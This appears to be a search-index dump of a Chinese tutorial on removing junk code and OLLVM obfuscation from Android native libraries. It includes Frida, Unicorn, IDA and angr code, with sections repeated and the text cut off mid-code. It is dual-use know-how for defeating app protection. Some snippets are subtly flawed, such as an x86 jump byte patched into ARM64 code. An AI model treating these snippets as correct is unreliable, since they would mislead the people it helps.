OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#22-动态去花方法"},{"categories":null,"collections":null,"content":"2.2 动态去花方法 2.2.1 Frida 动态跟踪执行路径 // Frida 脚本：跟踪实际执行的指令，区分花指令 function trace_real_execution(module_name, func_offset, trace_count) { var module = Process.findModuleByName(module_name); if (!module) { console.log(\"Module not found: \" + module_name); return; } var func_addr = module.base.add(func_offset); var executed_addresses = new Set(); var instruction_count = 0; Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var instruction = iterator.next(); while (instruction !== null) { var addr = instruction.address; // 检查是否在目标模块范围内 if (addr.compare(module.base) \u003e= 0 \u0026\u0026 addr.compare(module.base.add(module.size)) \u003c 0) { iterator.putCallout(function(context) { var pc = context.pc; if (!executed_addresses.has(pc.toString())) { executed_addresses.add(pc.toString()); var insn = Instruction.parse(pc); console.log(\"[EXEC] \" + pc + \": \" + insn.mnemonic + \" \" + insn.opStr); instruction_count++; if (instruction_count \u003e= trace_count) { Stalker.unfollow(); } } }); } iterator.keep(); instruction = iterator.next(); } } }); // 调用目标函数 var target_func = new NativeFunction(func_addr, 'void', []); target_func(); Stalker.unfollow(); Stalker.flush(); console.log(\"\\n[*] Total unique instructions executed: \" + executed_addresses.size); return Array.from(executed_addresses); } // 对比静态反汇编结果与动态执行结果 function identify_junk_by_execution(module_name, func_offset) { var module = Process.findModuleByName(module_name); var func_addr = module.base.add(func_offset); // 获取静态反汇编的所有地址 var static_addresses = []; var current = func_addr; for (var i = 0; i \u003c 100; i++) { // 假设函数不超过100条指令 try { var insn = Instruction.parse(current); static_addresses.push(current.toString()); current = current.add(insn.size); } catch (e) { break; } } // 获取动态执行的地址 var executed = trace_real_execution(module_name, func_offset, 1000); // 找出从未执行的指令（潜在花指令） var junk_candidates = static_addresses.filter(addr =\u003e !executed.includes(addr)); console.log(\"\\n[*] Potential junk code (never executed):\"); junk_candidates.forEach(function(addr) { var insn = Instruction.parse(ptr(addr)); console.log(\" \" + addr + \": \" + insn.mnemonic + \" \" + insn.opStr); }); return junk_candidates; } 2.2.2 Unicorn 模拟执行去花 from unicorn import * from unicorn.arm64_const import * from capstone import * import struct class JunkCodeRemover: def __init__(self, binary_data, base_addr=0x10000): self.binary = binary_data self.base_addr = base_addr self.executed_addresses = set() self.md = Cs(CS_ARCH_ARM64, CS_MODE_ARM) def hook_code(self, uc, address, size, user_data): \"\"\"记录执行的每条指令\"\"\" self.executed_addresses.add(address) # 打印执行的指令 code = uc.mem_read(address, size) for insn in self.md.disasm(bytes(code), address): print(f\"[EXEC] 0x{insn.address:x}: {insn.mnemonic} {insn.op_str}\") def emulate_function(self, func_offset, max_instructions=1000): \"\"\"模拟执行函数，收集执行路径\"\"\" try: # 初始化 Unicorn 引擎 (ARM64) mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) # 映射内存 mu.mem_map(self.base_addr, 2 * 1024 * 1024) # 2MB mu.mem_write(self.base_addr, self.binary) # 设置栈 stack_addr = self.base_addr + 0x100000 mu.reg_write(UC_ARM64_REG_SP, stack_addr) # 设置代码 Hook mu.hook_add(UC_HOOK_CODE, self.hook_code) # 开始模拟 func_addr = self.base_addr + func_offset mu.emu_start(func_addr, func_addr + 0x10000, count=max_instructions) except UcError as e: print(f\"Emulation error: {e}\") return self.executed_addresses def identify_junk_code(self, func_offset, func_size): \"\"\"识别函数中的花指令\"\"\" # 静态反汇编获取所有指令地址 static_addresses = set() func_binary = self.binary[func_offset:func_offset + func_size] for insn in self.md.disasm(func_binary, self.base_addr + func_offset): static_addresses.add(insn.address) # 模拟执行获取实际执行的指令 self.emulate_function(func_offset) # 差集即为花指令 junk_addresses = static_addresses - self.executed_addresses print(f\"\\n[*] Static instructions: {len(static_addresses)}\") print(f\"[*] Executed instructions: {len(self.executed_addresses)}\") print(f\"[*] Junk instructions: {len(junk_addresses)}\") # 输出花指令详情 print(\"\\n[*] Junk code details:\") for addr in sorted(junk_addresses): off","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:2:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#221-frida-动态跟踪执行路径"},{"categories":null,"collections":null,"content":"2.2 动态去花方法 2.2.1 Frida 动态跟踪执行路径 // Frida 脚本：跟踪实际执行的指令，区分花指令 function trace_real_execution(module_name, func_offset, trace_count) { var module = Process.findModuleByName(module_name); if (!module) { console.log(\"Module not found: \" + module_name); return; } var func_addr = module.base.add(func_offset); var executed_addresses = new Set(); var instruction_count = 0; Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var instruction = iterator.next(); while (instruction !== null) { var addr = instruction.address; // 检查是否在目标模块范围内 if (addr.compare(module.base) \u003e= 0 \u0026\u0026 addr.compare(module.base.add(module.size)) \u003c 0) { iterator.putCallout(function(context) { var pc = context.pc; if (!executed_addresses.has(pc.toString())) { executed_addresses.add(pc.toString()); var insn = Instruction.parse(pc); console.log(\"[EXEC] \" + pc + \": \" + insn.mnemonic + \" \" + insn.opStr); instruction_count++; if (instruction_count \u003e= trace_count) { Stalker.unfollow(); } } }); } iterator.keep(); instruction = iterator.next(); } } }); // 调用目标函数 var target_func = new NativeFunction(func_addr, 'void', []); target_func(); Stalker.unfollow(); Stalker.flush(); console.log(\"\\n[*] Total unique instructions executed: \" + executed_addresses.size); return Array.from(executed_addresses); } // 对比静态反汇编结果与动态执行结果 function identify_junk_by_execution(module_name, func_offset) { var module = Process.findModuleByName(module_name); var func_addr = module.base.add(func_offset); // 获取静态反汇编的所有地址 var static_addresses = []; var current = func_addr; for (var i = 0; i \u003c 100; i++) { // 假设函数不超过100条指令 try { var insn = Instruction.parse(current); static_addresses.push(current.toString()); current = current.add(insn.size); } catch (e) { break; } } // 获取动态执行的地址 var executed = trace_real_execution(module_name, func_offset, 1000); // 找出从未执行的指令（潜在花指令） var junk_candidates = static_addresses.filter(addr =\u003e !executed.includes(addr)); console.log(\"\\n[*] Potential junk code (never executed):\"); junk_candidates.forEach(function(addr) { var insn = Instruction.parse(ptr(addr)); console.log(\" \" + addr + \": \" + insn.mnemonic + \" \" + insn.opStr); }); return junk_candidates; } 2.2.2 Unicorn 模拟执行去花 from unicorn import * from unicorn.arm64_const import * from capstone import * import struct class JunkCodeRemover: def __init__(self, binary_data, base_addr=0x10000): self.binary = binary_data self.base_addr = base_addr self.executed_addresses = set() self.md = Cs(CS_ARCH_ARM64, CS_MODE_ARM) def hook_code(self, uc, address, size, user_data): \"\"\"记录执行的每条指令\"\"\" self.executed_addresses.add(address) # 打印执行的指令 code = uc.mem_read(address, size) for insn in self.md.disasm(bytes(code), address): print(f\"[EXEC] 0x{insn.address:x}: {insn.mnemonic} {insn.op_str}\") def emulate_function(self, func_offset, max_instructions=1000): \"\"\"模拟执行函数，收集执行路径\"\"\" try: # 初始化 Unicorn 引擎 (ARM64) mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) # 映射内存 mu.mem_map(self.base_addr, 2 * 1024 * 1024) # 2MB mu.mem_write(self.base_addr, self.binary) # 设置栈 stack_addr = self.base_addr + 0x100000 mu.reg_write(UC_ARM64_REG_SP, stack_addr) # 设置代码 Hook mu.hook_add(UC_HOOK_CODE, self.hook_code) # 开始模拟 func_addr = self.base_addr + func_offset mu.emu_start(func_addr, func_addr + 0x10000, count=max_instructions) except UcError as e: print(f\"Emulation error: {e}\") return self.executed_addresses def identify_junk_code(self, func_offset, func_size): \"\"\"识别函数中的花指令\"\"\" # 静态反汇编获取所有指令地址 static_addresses = set() func_binary = self.binary[func_offset:func_offset + func_size] for insn in self.md.disasm(func_binary, self.base_addr + func_offset): static_addresses.add(insn.address) # 模拟执行获取实际执行的指令 self.emulate_function(func_offset) # 差集即为花指令 junk_addresses = static_addresses - self.executed_addresses print(f\"\\n[*] Static instructions: {len(static_addresses)}\") print(f\"[*] Executed instructions: {len(self.executed_addresses)}\") print(f\"[*] Junk instructions: {len(junk_addresses)}\") # 输出花指令详情 print(\"\\n[*] Junk code details:\") for addr in sorted(junk_addresses): off","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:2:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#222-unicorn-模拟执行去花"},{"categories":null,"collections":null,"content":"2.3 IDA Pro 自动去花插件 # IDA Pro 花指令自动清除插件 import idaapi import idc import idautils class JunkCodeCleaner(idaapi.plugin_t): flags = idaapi.PLUGIN_UNL comment = \"Automatic Junk Code Cleaner\" help = \"Clean junk code patterns\" wanted_name = \"Junk Cleaner\" wanted_hotkey = \"Ctrl-Shift-J\" def init(self): return idaapi.PLUGIN_OK def run(self, arg): func_ea = idc.get_screen_ea() func = idaapi.get_func(func_ea) if not func: print(\"[!] Not inside a function\") return self.clean_function(func.start_ea) def clean_function(self, func_ea): \"\"\"清理函数中的花指令\"\"\" cleaned_count = 0 # 1. 清理 NOP 滑板 cleaned_count += self.remove_nop_sleds(func_ea) # 2. 清理不透明谓词 cleaned_count += self.remove_opaque_predicates(func_ea) # 3. 清理死代码 cleaned_count += self.remove_dead_code(func_ea) # 4. 重新分析函数 idaapi.reanalyze_callers(func_ea, True) print(f\"[*] Cleaned {cleaned_count} junk patterns in function 0x{func_ea:x}\") def remove_nop_sleds(self, func_ea): \"\"\"移除 NOP 滑板\"\"\" removed = 0 nop_start = None nop_count = 0 for head in idautils.FuncItems(func_ea): mnem = idc.print_insn_mnem(head).lower() if mnem == \"nop\": if nop_start is None: nop_start = head nop_count += 1 else: if nop_count \u003e 3: # 将多余的 NOP 转换为数据 for i in range(nop_count - 1): idc.del_items(nop_start + i) removed += nop_count - 1 nop_start = None nop_count = 0 return removed def remove_opaque_predicates(self, func_ea): \"\"\"移除不透明谓词\"\"\" removed = 0 for head in idautils.FuncItems(func_ea): mnem = idc.print_insn_mnem(head).lower() if mnem == \"cmp\": op1 = idc.print_operand(head, 0) op2 = idc.print_operand(head, 1) if op1 == op2: # cmp reg, reg 总是相等 next_insn = idc.next_head(head) next_mnem = idc.print_insn_mnem(next_insn).lower() # 根据条件类型 patch if next_mnem in [\"jne\", \"jnz\", \"b.ne\"]: # 条件永假，删除跳转目标的代码块 target = idc.get_operand_value(next_insn, 0) self.mark_as_junk(target) removed += 1 elif next_mnem in [\"je\", \"jz\", \"b.eq\"]: # 条件永真，可以转换为无条件跳转 idc.patch_byte(next_insn, 0xEB) # jmp short removed += 1 return removed def remove_dead_code(self, func_ea): \"\"\"移除死代码\"\"\" func = idaapi.get_func(func_ea) if not func: return 0 flowchart = idaapi.FlowChart(func) reachable = set() # BFS 找可达块 queue = [flowchart[0].start_ea] while queue: block_ea = queue.pop(0) if block_ea in reachable: continue reachable.add(block_ea) for block in flowchart: if block.start_ea == block_ea: for succ in block.succs(): queue.append(succ.start_ea) # 标记不可达块为数据 removed = 0 for block in flowchart: if block.start_ea not in reachable: for head in range(block.start_ea, block.end_ea): idc.del_items(head) removed += 1 return removed def mark_as_junk(self, address): \"\"\"将地址标记为花指令\"\"\" idc.set_cmt(address, \"JUNK CODE - Opaque predicate target\", 0) def term(self): pass def PLUGIN_ENTRY(): return JunkCodeCleaner() ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:2:3","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#23-ida-pro-自动去花插件"},{"categories":null,"collections":null,"content":"3. OLLVM 混淆技术原理 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:3:0","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#3-ollvm-混淆技术原理"},{"categories":null,"collections":null,"content":"3.1 OLLVM 简介 OLLVM (Obfuscator-LLVM) 是基于 LLVM 编译器框架的代码混淆工具，在编译时对 LLVM IR 进行变换，产生高度混淆的机器码。 主要混淆技术： 控制流平坦化 (Control Flow Flattening, CFF) 指令替换 (Instruction Substitution) 虚假控制流 (Bogus Control Flow, BCF) 字符串加密 (String Encryption) ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:3:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#31-ollvm-简介"},{"categories":null,"collections":null,"content":"3.2 控制流平坦化 (CFF) 3.2.1 原理 将正常的控制流结构（if-else、switch、循环）转换为一个巨大的 switch-case 分发器： 原始代码： void original_func(int x) { if (x \u003e 10) { func_a(); } else { func_b(); } func_c(); } 平坦化后： void flattened_func(int x) { int state = 0; // 状态变量 while (1) { switch (state) { case 0: // 入口 if (x \u003e 10) { state = 1; // 去 func_a } else { state = 2; // 去 func_b } break; case 1: // func_a 块 func_a(); state = 3; // 去 func_c break; case 2: // func_b 块 func_b(); state = 3; // 去 func_c break; case 3: // func_c 块 func_c(); state = 4; // 退出 break; case 4: // 出口 return; } } } 3.2.2 CFF 反汇编特征 ; ARM64 控制流平坦化特征 _flattened_func: ; 初始化状态变量 mov w8, #0 ; state = 0 .Lmain_loop: ; 主分发器 switch cmp w8, #4 b.hi .Ldefault adrp x9, .Ljump_table add x9, x9, :lo12:.Ljump_table ldr x9, [x9, x8, lsl #3] br x9 .Lcase_0: ; 入口块 cmp w0, #10 csel w8, w8, w8, gt ; 条件更新状态 b .Lmain_loop .Lcase_1: ; func_a 块 bl func_a mov w8, #3 b .Lmain_loop ; ... 其他 case ... .Ljump_table: .quad .Lcase_0 .quad .Lcase_1 .quad .Lcase_2 .quad .Lcase_3 .quad .Lcase_4 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:3:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#32-控制流平坦化-cff"},{"categories":null,"collections":null,"content":"3.2 控制流平坦化 (CFF) 3.2.1 原理 将正常的控制流结构（if-else、switch、循环）转换为一个巨大的 switch-case 分发器： 原始代码： void original_func(int x) { if (x \u003e 10) { func_a(); } else { func_b(); } func_c(); } 平坦化后： void flattened_func(int x) { int state = 0; // 状态变量 while (1) { switch (state) { case 0: // 入口 if (x \u003e 10) { state = 1; // 去 func_a } else { state = 2; // 去 func_b } break; case 1: // func_a 块 func_a(); state = 3; // 去 func_c break; case 2: // func_b 块 func_b(); state = 3; // 去 func_c break; case 3: // func_c 块 func_c(); state = 4; // 退出 break; case 4: // 出口 return; } } } 3.2.2 CFF 反汇编特征 ; ARM64 控制流平坦化特征 _flattened_func: ; 初始化状态变量 mov w8, #0 ; state = 0 .Lmain_loop: ; 主分发器 switch cmp w8, #4 b.hi .Ldefault adrp x9, .Ljump_table add x9, x9, :lo12:.Ljump_table ldr x9, [x9, x8, lsl #3] br x9 .Lcase_0: ; 入口块 cmp w0, #10 csel w8, w8, w8, gt ; 条件更新状态 b .Lmain_loop .Lcase_1: ; func_a 块 bl func_a mov w8, #3 b .Lmain_loop ; ... 其他 case ... .Ljump_table: .quad .Lcase_0 .quad .Lcase_1 .quad .Lcase_2 .quad .Lcase_3 .quad .Lcase_4 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:3:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#321-原理"},{"categories":null,"collections":null,"content":"3.2 控制流平坦化 (CFF) 3.2.1 原理 将正常的控制流结构（if-else、switch、循环）转换为一个巨大的 switch-case 分发器： 原始代码： void original_func(int x) { if (x \u003e 10) { func_a(); } else { func_b(); } func_c(); } 平坦化后： void flattened_func(int x) { int state = 0; // 状态变量 while (1) { switch (state) { case 0: // 入口 if (x \u003e 10) { state = 1; // 去 func_a } else { state = 2; // 去 func_b } break; case 1: // func_a 块 func_a(); state = 3; // 去 func_c break; case 2: // func_b 块 func_b(); state = 3; // 去 func_c break; case 3: // func_c 块 func_c(); state = 4; // 退出 break; case 4: // 出口 return; } } } 3.2.2 CFF 反汇编特征 ; ARM64 控制流平坦化特征 _flattened_func: ; 初始化状态变量 mov w8, #0 ; state = 0 .Lmain_loop: ; 主分发器 switch cmp w8, #4 b.hi .Ldefault adrp x9, .Ljump_table add x9, x9, :lo12:.Ljump_table ldr x9, [x9, x8, lsl #3] br x9 .Lcase_0: ; 入口块 cmp w0, #10 csel w8, w8, w8, gt ; 条件更新状态 b .Lmain_loop .Lcase_1: ; func_a 块 bl func_a mov w8, #3 b .Lmain_loop ; ... 其他 case ... .Ljump_table: .quad .Lcase_0 .quad .Lcase_1 .quad .Lcase_2 .quad .Lcase_3 .quad .Lcase_4 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:3:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#322-cff-反汇编特征"},{"categories":null,"collections":null,"content":"3.3 虚假控制流 (BCF) 3.3.1 原理 插入永远不会执行的虚假基本块，增加控制流图复杂度： void bcf_func(int x) { // 不透明谓词（永真） int opaque = (x * x \u003e= 0); // 平方数永远非负 if (opaque) { real_logic(); // 真实代码 } else { fake_logic_1(); // 永远不执行 fake_logic_2(); } // 另一个不透明谓词（永假） if ((x * (x + 1)) % 2 != 0) { // 连续整数乘积永远是偶数 garbage_code(); // 永远不执行 } } 3.3.2 BCF 识别特征 存在大量条件分支，但分支目标从未被执行 不透明谓词表达式（如 x*x \u003e= 0） 虚假代码块通常包含随机生成的指令序列 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:3:3","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#33-虚假控制流-bcf"},{"categories":null,"collections":null,"content":"3.3 虚假控制流 (BCF) 3.3.1 原理 插入永远不会执行的虚假基本块，增加控制流图复杂度： void bcf_func(int x) { // 不透明谓词（永真） int opaque = (x * x \u003e= 0); // 平方数永远非负 if (opaque) { real_logic(); // 真实代码 } else { fake_logic_1(); // 永远不执行 fake_logic_2(); } // 另一个不透明谓词（永假） if ((x * (x + 1)) % 2 != 0) { // 连续整数乘积永远是偶数 garbage_code(); // 永远不执行 } } 3.3.2 BCF 识别特征 存在大量条件分支，但分支目标从未被执行 不透明谓词表达式（如 x*x \u003e= 0） 虚假代码块通常包含随机生成的指令序列 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:3:3","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#331-原理"},{"categories":null,"collections":null,"content":"3.3 虚假控制流 (BCF) 3.3.1 原理 插入永远不会执行的虚假基本块，增加控制流图复杂度： void bcf_func(int x) { // 不透明谓词（永真） int opaque = (x * x \u003e= 0); // 平方数永远非负 if (opaque) { real_logic(); // 真实代码 } else { fake_logic_1(); // 永远不执行 fake_logic_2(); } // 另一个不透明谓词（永假） if ((x * (x + 1)) % 2 != 0) { // 连续整数乘积永远是偶数 garbage_code(); // 永远不执行 } } 3.3.2 BCF 识别特征 存在大量条件分支，但分支目标从未被执行 不透明谓词表达式（如 x*x \u003e= 0） 虚假代码块通常包含随机生成的指令序列 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:3:3","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#332-bcf-识别特征"},{"categories":null,"collections":null,"content":"3.4 指令替换 3.4.1 算术运算替换 // 原始：a + b // 替换 1：a - (-b) // 替换 2：(a ^ b) + 2 * (a \u0026 b) // 替换 3：2 * (a | b) - (a ^ b) // 原始：a - b // 替换：a + (~b + 1) // 替换：(a ^ b) - 2 * (~a \u0026 b) // 原始：a ^ b // 替换：(~a \u0026 b) | (a \u0026 ~b) // 替换：(a | b) \u0026 (~a | ~b) // 原始：a \u0026 b // 替换：(~(~a | ~b)) // 替换：((a ^ b) ^ (a | b)) 3.4.2 反汇编中的替换特征 ; 原始: ADD X0, X1, X2 (x0 = x1 + x2) ; 替换后: 使用 XOR 和 AND 的组合 eor x8, x1, x2 ; x8 = x1 ^ x2 and x9, x1, x2 ; x9 = x1 \u0026 x2 lsl x9, x9, #1 ; x9 = (x1 \u0026 x2) \u003c\u003c 1 = 2*(x1\u0026x2) add x0, x8, x9 ; x0 = (x1^x2) + 2*(x1\u0026x2) = x1 + x2 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:3:4","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#34-指令替换"},{"categories":null,"collections":null,"content":"3.4 指令替换 3.4.1 算术运算替换 // 原始：a + b // 替换 1：a - (-b) // 替换 2：(a ^ b) + 2 * (a \u0026 b) // 替换 3：2 * (a | b) - (a ^ b) // 原始：a - b // 替换：a + (~b + 1) // 替换：(a ^ b) - 2 * (~a \u0026 b) // 原始：a ^ b // 替换：(~a \u0026 b) | (a \u0026 ~b) // 替换：(a | b) \u0026 (~a | ~b) // 原始：a \u0026 b // 替换：(~(~a | ~b)) // 替换：((a ^ b) ^ (a | b)) 3.4.2 反汇编中的替换特征 ; 原始: ADD X0, X1, X2 (x0 = x1 + x2) ; 替换后: 使用 XOR 和 AND 的组合 eor x8, x1, x2 ; x8 = x1 ^ x2 and x9, x1, x2 ; x9 = x1 \u0026 x2 lsl x9, x9, #1 ; x9 = (x1 \u0026 x2) \u003c\u003c 1 = 2*(x1\u0026x2) add x0, x8, x9 ; x0 = (x1^x2) + 2*(x1\u0026x2) = x1 + x2 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:3:4","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#341-算术运算替换"},{"categories":null,"collections":null,"content":"3.4 指令替换 3.4.1 算术运算替换 // 原始：a + b // 替换 1：a - (-b) // 替换 2：(a ^ b) + 2 * (a \u0026 b) // 替换 3：2 * (a | b) - (a ^ b) // 原始：a - b // 替换：a + (~b + 1) // 替换：(a ^ b) - 2 * (~a \u0026 b) // 原始：a ^ b // 替换：(~a \u0026 b) | (a \u0026 ~b) // 替换：(a | b) \u0026 (~a | ~b) // 原始：a \u0026 b // 替换：(~(~a | ~b)) // 替换：((a ^ b) ^ (a | b)) 3.4.2 反汇编中的替换特征 ; 原始: ADD X0, X1, X2 (x0 = x1 + x2) ; 替换后: 使用 XOR 和 AND 的组合 eor x8, x1, x2 ; x8 = x1 ^ x2 and x9, x1, x2 ; x9 = x1 \u0026 x2 lsl x9, x9, #1 ; x9 = (x1 \u0026 x2) \u003c\u003c 1 = 2*(x1\u0026x2) add x0, x8, x9 ; x0 = (x1^x2) + 2*(x1\u0026x2) = x1 + x2 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:3:4","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#342-反汇编中的替换特征"},{"categories":null,"collections":null,"content":"3.5 字符串加密 // OLLVM 字符串加密示例 // 原始字符串在编译时被加密，运行时解密 // 编译后的加密数据 static unsigned char encrypted_str[] = { 0x8a, 0x45, 0x9c, 0x3f, 0x2d, 0x77, 0x4e, 0x1b }; // 解密函数（通常内联或混淆） char* decrypt_string() { static char decrypted[64]; unsigned char key = 0xAA; for (int i = 0; i \u003c sizeof(encrypted_str); i++) { decrypted[i] = encrypted_str[i] ^ key; key = rotate_left(key, 3); // 密钥轮换 } return decrypted; } ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:3:5","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#35-字符串加密"},{"categories":null,"collections":null,"content":"4. OLLVM 去混淆实战 💡 思路一句话: OLLVM 去混淆的核心是「分层剥离」— 先用 IDAPython 清理指令级花指令（NOP 垃圾指令）→ 再用 Z3 消除不透明谓词 → 最后用符号执行恢复平坦化的控制流 → 逐层还原，每层都有对应的自动化工具。 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:4:0","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#4-ollvm-去混淆实战"},{"categories":null,"collections":null,"content":"4.1 控制流平坦化去混淆 4.1.1 基于符号执行的去平坦化 # 使用 angr 进行符号执行去平坦化 import angr import claripy from collections import defaultdict class CFGDeflattener: def __init__(self, binary_path, func_addr): self.proj = angr.Project(binary_path, auto_load_libs=False) self.func_addr = func_addr self.state_var = None self.real_cfg = defaultdict(list) def identify_dispatcher(self): \"\"\"识别主分发器\"\"\" cfg = self.proj.analyses.CFGFast() func = cfg.functions.get(self.func_addr) if not func: print(f\"Function not found at 0x{self.func_addr:x}\") return None # 寻找入度最高的基本块（可能是分发器） block_in_degree = defaultdict(int) for block in func.blocks: for succ in block.vex.constant_jump_targets: block_in_degree[succ] += 1 dispatcher = max(block_in_degree, key=block_in_degree.get) print(f\"[*] Identified dispatcher at 0x{dispatcher:x}\") return dispatcher def symbolic_execution(self, start_addr, max_steps=1000): \"\"\"符号执行追踪状态转移\"\"\" state = self.proj.factory.blank_state(addr=start_addr) # 创建符号状态变量 state_sym = claripy.BVS('state', 32) transitions = [] visited = set() simgr = self.proj.factory.simulation_manager(state) step_count = 0 while simgr.active and step_count \u003c max_steps: simgr.step() step_count += 1 for s in simgr.active: current_block = s.addr if current_block in visited: continue visited.add(current_block) # 记录状态转移 if hasattr(s, 'history') and len(s.history.bbl_addrs) \u003e 1: prev_block = s.history.bbl_addrs[-2] transitions.append((prev_block, current_block)) return transitions def recover_cfg(self): \"\"\"恢复原始控制流图\"\"\" dispatcher = self.identify_dispatcher() if not dispatcher: return None # 符号执行获取转移关系 transitions = self.symbolic_execution(self.func_addr) # 过滤掉通过分发器的边 real_transitions = [] for src, dst in transitions: if src != dispatcher and dst != dispatcher: real_transitions.append((src, dst)) print(\"\\n[*] Recovered CFG edges:\") for src, dst in real_transitions: print(f\" 0x{src:x} -\u003e 0x{dst:x}\") return real_transitions def generate_patched_binary(self, output_path): \"\"\"生成修复后的二进制\"\"\" real_cfg = self.recover_cfg() # 这里需要实现实际的 patch 逻辑 # 1. 移除分发器块 # 2. 将状态赋值替换为直接跳转 # 3. 重新链接基本块 print(f\"[*] Patched binary saved to {output_path}\") # 使用示例 # deflattener = CFGDeflattener(\"target.so\", 0x1234) # deflattener.generate_patched_binary(\"target_deflattened.so\") 4.1.2 IDA Pro Microcode 去平坦化 # IDA Pro Microcode API 去平坦化 import ida_hexrays import ida_funcs import idautils class MicrocodeDeflattener(ida_hexrays.minsn_visitor_t): def __init__(self): ida_hexrays.minsn_visitor_t.__init__(self) self.state_var = None self.state_assignments = {} # {block_addr: next_state} self.dispatcher_addr = None def visit_minsn(self): \"\"\"访问每条微码指令\"\"\" insn = self.curins # 查找状态变量赋值: mov state_var, imm if insn.opcode == ida_hexrays.m_mov: if insn.d.t == ida_hexrays.mop_r: # 目标是寄存器 if insn.l.t == ida_hexrays.mop_n: # 源是立即数 state_value = insn.l.nnn.value block_addr = self.blk.head self.state_assignments[block_addr] = state_value return 0 def deflattening_pass(cfunc): \"\"\"去平坦化优化 Pass\"\"\" mba = cfunc.mba # 1. 识别状态变量和分发器 visitor = MicrocodeDeflattener() for i in range(mba.qty): blk = mba.get_mblock(i) visitor.blk = blk 